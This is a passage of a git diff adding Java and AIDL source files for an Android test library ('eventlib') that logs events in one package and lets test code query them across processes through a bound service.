diff --git a/common/device-side/bedstead/eventlib/src/main/aidl/com/android/eventlib/IQueryService.aidl b/common/device-side/bedstead/eventlib/src/main/aidl/com/android/eventlib/IQueryService.aidl
new file mode 100644
index 0000000..27b5ba7
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/aidl/com/android/eventlib/IQueryService.aidl
@@ -0,0 +1,64 @@
+package com.android.eventlib;
+
+/**
+ * Service exposed to allow other packages to query logged events in this package.
+ */
+interface IQueryService {
+    /**
+     * Initialise a new query.
+     *
+     * <p>This method must be called before any other interaction with this service.
+     *
+     * <p>The {@code data} must contain a {@code QUERIER} key which contains a serialized instance
+     * of {@code EventQuerier}.
+     */
+    void init(long id, in Bundle data);
+
+    /**
+     * Remote equivalent of {@code EventQuerier#get}.
+     *
+     * <p>The {@code data} must contain a {@code EARLIEST_LOG_TIME} key which contains a serialized
+     * instance of {@code Instant}.
+     *
+     * <p>The return {@code Bundle} will contain a {@code EVENT} key with a serialized instance of
+     * {@code Event}.
+     */
+    Bundle get(long id, in Bundle data);
+
+    /**
+     * Remote equivalent of {@code EventQuerier#get} which increments the count of skipped
+     * results for calls to {@link #get}.
+     *
+     * <p>This should be used when the result from {@link #get} does not pass additional filters.
+     *
+     * <p>The {@code data} must contain a {@code EARLIEST_LOG_TIME} key which contains a serialized
+     * instance of {@code Instant}.
+     *
+     * <p>The return {@code Bundle} will contain a {@code EVENT} key with a serialized instance of
+     * {@code Event}.
+     */
+    Bundle getNext(long id, in Bundle data);
+
+    /**
+     * Remote equivalent of {@code EventQuerier#next}.
+     *
+     * <p>The {@code data} must contain a {@code EARLIEST_LOG_TIME} key which contains a serialized
+     * instance of {@code Instant}.
+     *
+     * <p>The return {@code Bundle} will contain a {@code EVENT} key with a serialized instance of
+     * {@code Event}.
+     */
+    Bundle next(long id, in Bundle data);
+
+    /**
+     * Remote equivalent of {@code EventQuerier#poll}.
+     *
+     * <p>The {@code data} must contain a {@code EARLIEST_LOG_TIME} key which contains a serialized
+     * instance of {@code Instant}, and a {@code TIMEOUT} key which contains a serialized instance
+     * of {@code Duration}.
+     *
+     * <p>The return {@code Bundle} will contain a {@code EVENT} key with a serialized instance of
+     * {@code Event}.
+     */
+    Bundle poll(long id, in Bundle data);
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Event.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Event.java
new file mode 100644
index 0000000..40afafb
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Event.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.time.Instant;
+
+/**
+ * Represents a single action which has been logged.
+ */
+public abstract class Event implements Serializable {
+
+    // This class should contain all standard data applicable to all Events.
+
+    protected String mPackageName;
+    protected Instant mTimestamp;
+
+    /** Get the package name this event was logged by. */
+    public String packageName() {
+        return mPackageName;
+    }
+
+    /** Get the time that this event was logged. */
+    public Instant timestamp() {
+        return mTimestamp;
+    }
+
+    /**
+     * Serialize the {@link Event} to a byte array.
+     *
+     * <p>The resulting array can be deserialized using {@link #fromBytes(byte[])}.
+     */
+    byte[] toBytes() throws IOException {
+        try (ByteArrayOutputStream bos = new ByteArrayOutputStream();
+             ObjectOutputStream out = new ObjectOutputStream(bos)) {
+            out.writeObject(this);
+            out.flush();
+            return bos.toByteArray();
+        }
+    }
+
+    /**
+     * Deserialize an {@link Event} from a byte array created using {@link #toBytes()}.
+     */
+    static Event fromBytes(byte[] bytes) throws IOException {
+        try (ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
+             ObjectInput in = new ObjectInputStream(bis)) {
+            try {
+                return (Event) in.readObject();
+            } catch (ClassNotFoundException e) {
+                throw new IllegalStateException(
+                        "Trying to read Event which is not on classpath", e);
+            }
+        }
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventLogger.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventLogger.java
new file mode 100644
index 0000000..2caade2
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventLogger.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib;
+
+import android.content.Context;
+
+import java.time.Instant;
+
+/** Superclass of all classes which allow creating new event logs. */
+public abstract class EventLogger<E extends Event> {
+
+    /** Default {@link EventLogger} to be used when there are no custom fields to be logged. */
+    public static class Default<F extends Event> extends EventLogger<F> {
+        public Default(Context context, F event) {
+            super(context, event);
+        }
+    }
+
+    protected EventLogger(Context context, E event) {
+        if (context == null || event == null) {
+            throw new NullPointerException();
+        }
+        mContext = context.getApplicationContext();
+        mEvent = event;
+    }
+
+    private final Context mContext;
+    protected final E mEvent;
+
+    /**
+     * Commit the log so it is accessible to be queried.
+     *
+     * <p>This will record the current package name and timestamp.
+     */
+    public void log() {
+        mEvent.mPackageName = mContext.getPackageName();
+        mEvent.mTimestamp = Instant.now();
+
+        Events.getInstance(mContext).log(mEvent);
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventLogs.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventLogs.java
new file mode 100644
index 0000000..b881af9
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventLogs.java
@@ -0,0 +1,123 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib;
+
+import android.util.Log;
+
+import java.io.Serializable;
+import java.time.Duration;
+import java.time.Instant;
+
+/** Interface to interact with the results of an {@link EventLogsQuery}. */
+public abstract class EventLogs<E extends Event> implements Serializable {
+    static final Duration DEFAULT_POLL_TIMEOUT = Duration.ofMinutes(5);
+
+    static Instant sEarliestLogTime = Instant.now();
+
+    /**
+     * Returns the {@link EventQuerier} to be used to interact with the
+     * appropriate {@link Event} store.
+     */
+    protected abstract EventQuerier<E> getQuerier();
+
+    /**
+     * Ensures that future calls to {@link #get()}, {@link #next()}, and {@link #poll()} only return
+     * events which are not already logged before this call to {@link #resetLogs()}.
+     */
+    public static void resetLogs() {
+        // We delay 1 ms before and after to separate the cutoff from logs which are
+        // triggered immediately by the tests - this makes behaviour more predictable
+
+        try {
+            Thread.sleep(1);
+        } catch (InterruptedException e) {
+            Log.d("EventLogs", "Interrupted when sleeping during resetLogs");
+        }
+
+        sEarliestLogTime = Instant.now();
+
+        try {
+            Thread.sleep(1);
+        } catch (InterruptedException e) {
+            Log.d("EventLogs", "Interrupted when sleeping during resetLogs");
+        }
+    }
+
+    /**
+     * Gets the earliest logged event matching the query, if one has been logged by the time the
+     * call is made, otherwise returns null.
+     */
+    public E get() {
+        return getQuerier().get(sEarliestLogTime);
+    }
+
+    /**
+     * Gets the earliest logged event matching the query which has not been returned by a previous
+     * call to {@link #next()} or {@link #poll()}, if one has been logged by the time the call is
+     * made, otherwise returns null.
+     */
+    public E next() {
+        return getQuerier().next(sEarliestLogTime);
+    }
+
+    /**
+     * Gets the earliest logged event matching the query which has not be returned by a previous
+     * call to {@link #next()} or {@link #poll()}, or blocks until a matching event is logged.
+     *
+     * <p>This will timeout after {@code timeout} and return null if no matching event is logged.
+     */
+    public E poll(Duration timeout) {
+        return getQuerier().poll(sEarliestLogTime, timeout);
+    }
+
+    /**
+     * Gets the earliest logged event matching the query which has not be returned by a previous
+     * call to {@link #next()} or {@link #poll()}, or blocks until a matching event is logged.
+     *
+     * <p>This will timeout after {@link #DEFAULT_POLL_TIMEOUT} and return null if no matching
+     * event is logged.
+     */
+    public E poll() {
+        return poll(DEFAULT_POLL_TIMEOUT);
+    }
+
+    /**
+     * Gets the earliest logged event matching the query which has not be returned by a previous
+     * call to {@link #next()} or {@link #poll()}, or blocks until a matching event is logged.
+     *
+     * <p>This will timeout after {@code timeout} and throw an {@link AssertionError} if no
+     * matching event is logged.
+     */
+    public E pollOrFail(Duration timeout) {
+        E event = poll(timeout);
+        if (event == null) {
+            throw new AssertionError("No event was found before timeout");
+        }
+        return event;
+    }
+
+    /**
+     * Gets the earliest logged event matching the query which has not be returned by a previous
+     * call to {@link #next()} or {@link #poll()}, or blocks until a matching event is logged.
+     *
+     * <p>This will timeout after {@link #DEFAULT_POLL_TIMEOUT} and throw an {@link AssertionError}
+     * if no matching event is logged.
+     */
+    public E pollOrFail() {
+        return pollOrFail(DEFAULT_POLL_TIMEOUT);
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventLogsQuery.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventLogsQuery.java
new file mode 100644
index 0000000..35bdf2a
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventLogsQuery.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib;
+
+import android.os.UserHandle;
+
+import com.android.bedstead.nene.users.UserReference;
+
+import java.util.HashSet;
+import java.util.Set;
+import java.util.function.Function;
+
+/**
+ * Interface to provide additional restrictions on an {@link Event} query.
+ */
+public abstract class EventLogsQuery<E extends Event, F extends EventLogsQuery>
+        extends EventLogs<E> {
+
+    /**
+     * Default implementation of {@link EventLogsQuery} used when there are no additional query
+     * options to add.
+     */
+    public static class Default<E extends Event> extends EventLogsQuery<E, Default> {
+        public Default(Class<E> eventClass, String packageName) {
+            super(eventClass, packageName);
+        }
+
+        @Override
+        protected boolean filter(E event) {
+            return getPackageName().equals(event.packageName());
+        }
+    }
+
+    private final Class<E> mEventClass;
+    private final String mPackageName;
+    private final transient Set<Function<E, Boolean>> filters = new HashSet<>();
+    private transient UserHandle mUserHandle = null; // null is default, meaning current user
+
+    protected EventLogsQuery(Class<E> eventClass, String packageName) {
+        if (eventClass == null || packageName == null) {
+            throw new NullPointerException();
+        }
+        mQuerier = new RemoteEventQuerier<>(packageName, this);
+        mEventClass = eventClass;
+        mPackageName = packageName;
+    }
+
+    /** Get the package name being filtered for. */
+    protected String getPackageName() {
+        return mPackageName;
+    }
+
+    protected Class<E> eventClass() {
+        return mEventClass;
+    }
+
+    private final transient EventQuerier<E> mQuerier;
+
+    @Override
+    protected EventQuerier<E> getQuerier() {
+        return mQuerier;
+    }
+
+    /** Apply a lambda filter to the results. */
+    public F filter(Function<E, Boolean> filter) {
+        filters.add(filter);
+        return (F) this;
+    }
+
+    /**
+     * Returns true if {@code E} matches custom and default filters for this {@link Event} subclass.
+     */
+    protected final boolean filterAll(E event) {
+        if (filters != null) {
+            // Filters will be null when called remotely
+            for (Function<E, Boolean> filter : filters) {
+                if (!filter.apply(event)) {
+                    return false;
+                }
+            }
+        }
+        return filter(event);
+    }
+
+    /** Returns true if {@code E} matches the custom filters for this {@link Event} subclass. */
+    protected abstract boolean filter(E event);
+
+    /** Query a package running on another user. */
+    public F onUser(UserHandle userHandle) {
+        if (userHandle == null) {
+            throw new NullPointerException();
+        }
+        mUserHandle = userHandle;
+        return (F) this;
+    }
+
+    /** Query a package running on another user. */
+    public F onUser(UserReference userReference) {
+        return onUser(userReference.userHandle());
+    }
+
+    UserHandle getUserHandle() {
+        return mUserHandle;
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventQuerier.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventQuerier.java
new file mode 100644
index 0000000..5bead5a
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventQuerier.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib;
+
+import java.time.Duration;
+import java.time.Instant;
+
+
+/** Interface for interacting with a local or remote {@link Event} store. */
+interface EventQuerier<E extends Event> {
+
+    /**
+     * Gets the first {@link Event} which wasn't logged before {@code earliestLogTime},
+     * or returns null.
+     */
+    E get(Instant earliestLogTime);
+
+    /**
+     * Gets the next unseen {@link Event} which wasn't logged before {@code earliestLogTime},
+     * or returns null.
+     */
+    E next(Instant earliestLogTime);
+
+    /**
+     * Gets the next unseen {@link Event} which wasn't logged before {@code earliestLogTime},
+     * or blocks until one is logged.
+     *
+     * <p>After {@code timeout}, null will be returned.
+     */
+    E poll(Instant earliestLogTime, Duration timeout);
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Events.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Events.java
new file mode 100644
index 0000000..38c1543
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Events.java
@@ -0,0 +1,166 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib;
+
+import android.content.Context;
+import android.util.Log;
+
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.time.Duration;
+import java.time.Instant;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.Set;
+import java.util.WeakHashMap;
+
+/** Event store for the current package. */
+class Events {
+
+    private static final String TAG = "Events";
+    private static final String EVENT_LOG_FILE_NAME = "Events";
+    private static final Duration MAX_LOG_AGE = Duration.ofMinutes(5);
+    private static final int BYTES_PER_INT = 4;
+
+    /** Interface used to be informed when new events are logged. */
+    interface EventListener {
+        void onNewEvent(Event e);
+    }
+
+    private static Events mInstance;
+
+    static Events getInstance(Context context) {
+        if (mInstance == null) {
+            synchronized (Events.class) {
+                if (mInstance == null) {
+                    mInstance = new Events(context.getApplicationContext());
+                    mInstance.initialiseFiles();
+                }
+            }
+        }
+        return mInstance;
+    }
+
+    private final Context mContext; // ApplicationContext
+    private FileOutputStream mOutputStream;
+
+    private Events(Context context) {
+        this.mContext = context;
+    }
+
+    private void initialiseFiles() {
+        loadEventsFromFile();
+        try {
+            mOutputStream = mContext.openFileOutput(EVENT_LOG_FILE_NAME, Context.MODE_PRIVATE);
+            // We clear the file and write the logs again so we can exclude old logs
+            // This avoids the file growing without limit
+            writeAllEventsToFile();
+        } catch (FileNotFoundException e) {
+            throw new IllegalStateException("Could not write event log", e);
+        }
+    }
+
+    private void loadEventsFromFile() {
+        Instant now = Instant.now();
+        try (FileInputStream fileInputStream = mContext.openFileInput(EVENT_LOG_FILE_NAME)) {
+            Event event = readEvent(fileInputStream);
+
+            while (event != null) {
+                if (event.mTimestamp.plus(MAX_LOG_AGE).isBefore(now)) {
+                    continue;
+                }
+                mEventList.add(event);
+                event = readEvent(fileInputStream);
+            }
+        } catch (FileNotFoundException e) {
+            // Ignore this exception as if there's no file there's nothing to load
+        } catch (IOException e) {
+            Log.e(TAG, "Error when loading events from file", e);
+        }
+    }
+
+    private void writeAllEventsToFile() {
+        for (Event event : mEventList) {
+            writeEventToFile(event);
+        }
+    }
+
+    private Event readEvent(FileInputStream fileInputStream) throws IOException {
+        if (fileInputStream.available() < BYTES_PER_INT) {
+            return null;
+        }
+        byte[] sizeBytes = new byte[BYTES_PER_INT];
+        fileInputStream.read(sizeBytes);
+
+        int size = ByteBuffer.wrap(sizeBytes).getInt();
+
+        byte[] eventBytes = new byte[size];
+        fileInputStream.read(eventBytes);
+
+        return Event.fromBytes(eventBytes);
+    }
+
+    /** Saves the event so it can be queried. */
+    void log(Event event) {
+        Log.d(TAG, event.toString());
+
+        mEventList.add(event); // TODO: This should be made immutable before adding
+        writeEventToFile(event);
+        triggerEventListeners(event);
+    }
+
+    private void writeEventToFile(Event event) {
+        try {
+            byte[] eventBytes = event.toBytes();
+            mOutputStream.write(
+                    ByteBuffer.allocate(BYTES_PER_INT).putInt(eventBytes.length).array());
+            mOutputStream.write(eventBytes);
+        } catch (IOException e) {
+            throw new IllegalStateException("Error writing event to log", e);
+        }
+    }
+
+    private final List<Event> mEventList = new ArrayList<>();
+    // This is a weak set so we don't retain listeners from old tests
+    private final Set<EventListener> mEventListeners
+            = Collections.newSetFromMap(new WeakHashMap<>());
+
+    /** Get all logged events. */
+    public List<Event> getEvents() {
+        return mEventList;
+    }
+
+    /** Register an {@link EventListener} to be called when a new {@link Event} is logged. */
+    public void registerEventListener(EventListener listener) {
+        synchronized (Events.class) {
+            mEventListeners.add(listener);
+        }
+    }
+
+    private void triggerEventListeners(Event event) {
+        synchronized (Events.class) {
+            for (EventListener listener : mEventListeners) {
+                listener.onNewEvent(event);
+            }
+        }
+    }
+
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/LocalEventQuerier.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/LocalEventQuerier.java
new file mode 100644
index 0000000..ff46782
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/LocalEventQuerier.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib;
+
+import android.content.Context;
+
+import java.time.Duration;
+import java.time.Instant;
+import java.util.concurrent.BlockingDeque;
+import java.util.concurrent.LinkedBlockingDeque;
+import java.util.concurrent.TimeUnit;
+
+
+/**
+ * Implementation of {@link EventQuerier} which queries data about the current package.
+ */
+public class LocalEventQuerier<E extends Event, F extends EventLogsQuery> implements EventQuerier<E>, Events.EventListener {
+    private final EventLogsQuery<E, F> mEventLogsQuery;
+    private final Events mEvents;
+    private final BlockingDeque<Event> mFetchedEvents;
+    private int skippedGet = 0;
+
+    LocalEventQuerier(Context context, EventLogsQuery<E, F> eventLogsQuery) {
+        mEventLogsQuery = eventLogsQuery;
+        mEvents = Events.getInstance(context);
+        mFetchedEvents = new LinkedBlockingDeque<>(mEvents.getEvents());
+        mEvents.registerEventListener(this);
+    }
+
+    @Override
+    public E get(Instant earliestLogTime) {
+        int skipped = 0;
+        for (Event event : mEvents.getEvents()) {
+            if (mEventLogsQuery.eventClass().isInstance(event)) {
+                if (event.mTimestamp.isBefore(earliestLogTime)) {
+                    continue;
+                } else if (skipped++ < skippedGet) {
+                    continue;
+                }
+
+                E typedEvent = (E) event;
+                if (mEventLogsQuery.filterAll(typedEvent)) {
+                    return typedEvent;
+                }
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Same as {@link #get(Instant)} but incremements the number of skipped results.
+     *
+     * <p>This should be used when the current result from {@link #get(Instant)} does not pass
+     * additional filters.
+     */
+    public E getNext(Instant earliestLogTime) {
+        skippedGet += 1;
+        return get(earliestLogTime);
+    }
+
+    @Override
+    public E next(Instant earliestLogTime) {
+        while (!mFetchedEvents.isEmpty()) {
+            Event event = mFetchedEvents.removeFirst();
+
+            if (mEventLogsQuery.eventClass().isInstance(event)) {
+                if (event.mTimestamp.isBefore(earliestLogTime)) {
+                    continue;
+                }
+
+                E typedEvent = (E) event;
+                if (mEventLogsQuery.filterAll(typedEvent)) {
+                    return typedEvent;
+                }
+            }
+        }
+        return null;
+    }
+
+    @Override
+    public E poll(Instant earliestLogTime, Duration timeout) {
+        Instant endTime = Instant.now().plus(timeout);
+        while (true) {
+            Event event = null;
+            try {
+                Duration remainingTimeout = Duration.between(Instant.now(), endTime);
+                event = mFetchedEvents.pollFirst(remainingTimeout.toMillis(), TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return null;
+            }
+
+            if (event == null) {
+                // Timed out waiting for event
+                return null;
+            }
+
+            if (mEventLogsQuery.eventClass().isInstance(event)) {
+                if (event.mTimestamp.isBefore(earliestLogTime)) {
+                    continue;
+                }
+
+                E typedEvent = (E) event;
+                if (mEventLogsQuery.filterAll(typedEvent)) {
+                    return typedEvent;
+                }
+            }
+        }
+    }
+
+    @Override
+    public void onNewEvent(Event event) {
+        mFetchedEvents.addLast(event);
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/QueryService.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/QueryService.java
new file mode 100644
index 0000000..4efd3ce
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/QueryService.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.IBinder;
+
+import java.time.Duration;
+import java.time.Instant;
+import java.util.concurrent.ConcurrentHashMap;
+
+/**
+ * Implementation of {@link IQueryService}.
+ */
+public final class QueryService extends Service {
+
+    public static final String EARLIEST_LOG_TIME_KEY = "EARLIEST_LOG_TIME";
+    public static final String QUERIER_KEY = "QUERIER";
+    public static final String EVENT_KEY = "EVENT";
+    public static final String TIMEOUT_KEY = "TIMEOUT";
+
+    private static class QueryClient {
+        final EventLogsQuery<?, ?> query;
+        final LocalEventQuerier<?, ?> querier;
+
+        public QueryClient(EventLogsQuery<?, ?> query, LocalEventQuerier<?, ?> querier) {
+            this.query = query;
+            this.querier = querier;
+        }
+    }
+
+    private final IQueryService.Stub binder = new IQueryService.Stub() {
+
+        // Map of all initialised clients, to keep track of progress when using poll/next
+        private final ConcurrentHashMap<Long, QueryClient> clients = new ConcurrentHashMap<>();
+
+        @Override
+        public void init(long id, Bundle data) {
+            EventLogsQuery<?, ?> query = (EventLogsQuery<?, ?>) data.getSerializable(QUERIER_KEY);
+            LocalEventQuerier<?, ?> querier =
+                    new LocalEventQuerier<>(getApplicationContext(), query);
+
+            clients.put(id, new QueryClient(query, querier));
+        }
+
+        @Override
+        public Bundle get(long id, Bundle data) {
+            Instant earliestLogtime = (Instant) data.getSerializable(EARLIEST_LOG_TIME_KEY);
+            Event e = clients.get(id).querier.get(earliestLogtime);
+            return prepareReturnBundle(e);
+        }
+
+        @Override
+        public Bundle getNext(long id, Bundle data) {
+            Instant earliestLogtime = (Instant) data.getSerializable(EARLIEST_LOG_TIME_KEY);
+            Event e = clients.get(id).querier.getNext(earliestLogtime);
+            return prepareReturnBundle(e);
+        }
+
+        @Override
+        public Bundle next(long id, Bundle data) {
+            Instant earliestLogtime = (Instant) data.getSerializable(EARLIEST_LOG_TIME_KEY);
+            Event e = clients.get(id).querier.next(earliestLogtime);
+            return prepareReturnBundle(e);
+        }
+
+        @Override
+        public Bundle poll(long id, Bundle data) {
+            Instant earliestLogtime = (Instant) data.getSerializable(EARLIEST_LOG_TIME_KEY);
+            Duration timeoutDuration = (Duration) data.getSerializable(TIMEOUT_KEY);
+            Event e = clients.get(id).querier.poll(earliestLogtime, timeoutDuration);
+            return prepareReturnBundle(e);
+        }
+
+        private Bundle prepareReturnBundle(Event event) {
+            Bundle responseBundle = new Bundle();
+            if (event != null) {
+                responseBundle.putSerializable(EVENT_KEY, event);
+            }
+
+            return responseBundle;
+        }
+    };
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return binder;
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/RemoteEventQuerier.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/RemoteEventQuerier.java
new file mode 100644
index 0000000..d9cbc7c
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/RemoteEventQuerier.java
@@ -0,0 +1,220 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib;
+
+import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
+import static android.content.Context.BIND_AUTO_CREATE;
+
+import static com.android.eventlib.QueryService.EARLIEST_LOG_TIME_KEY;
+import static com.android.eventlib.QueryService.EVENT_KEY;
+import static com.android.eventlib.QueryService.QUERIER_KEY;
+import static com.android.eventlib.QueryService.TIMEOUT_KEY;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.RemoteException;
+import android.util.Log;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.permissions.PermissionContext;
+
+import java.time.Duration;
+import java.time.Instant;
+import java.util.UUID;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.concurrent.atomic.AtomicReference;
+
+/**
+ * Implementation of {@link EventQuerier} used to query a single other process.
+ */
+public class
+    RemoteEventQuerier<E extends Event, F extends EventLogsQuery> implements EventQuerier<E> {
+
+    private static final int CONNECTION_TIMEOUT_SECONDS = 30;
+    private static final String LOG_TAG = "RemoteEventQuerier";
+    private static final TestApis sTestApis = new TestApis();
+    private static final Context sContext = sTestApis.context().instrumentedContext();
+
+    private final String mPackageName;
+    private final EventLogsQuery<E, F> mEventLogsQuery;
+    // Each client gets a random ID
+    private final long id = UUID.randomUUID().getMostSignificantBits();
+
+    public RemoteEventQuerier(String packageName, EventLogsQuery<E, F> eventLogsQuery) {
+        mPackageName = packageName;
+        mEventLogsQuery = eventLogsQuery;
+    }
+
+    private final ServiceConnection connection =
+            new ServiceConnection() {
+                @Override
+                public void onServiceConnected(ComponentName className, IBinder service) {
+                    mQuery.set(IQueryService.Stub.asInterface(service));
+                    mConnectionCountdown.countDown();
+                }
+
+                @Override
+                public void onServiceDisconnected(ComponentName className) {
+                    Log.i(LOG_TAG, "Service disconnected from " + className);
+                }
+            };
+
+    @Override
+    public E get(Instant earliestLogTime) {
+        ensureInitialised();
+        Bundle data = createRequestBundle();
+        try {
+            Bundle resultMessage = mQuery.get().get(id, data);
+            E e = (E) resultMessage.getSerializable(EVENT_KEY);
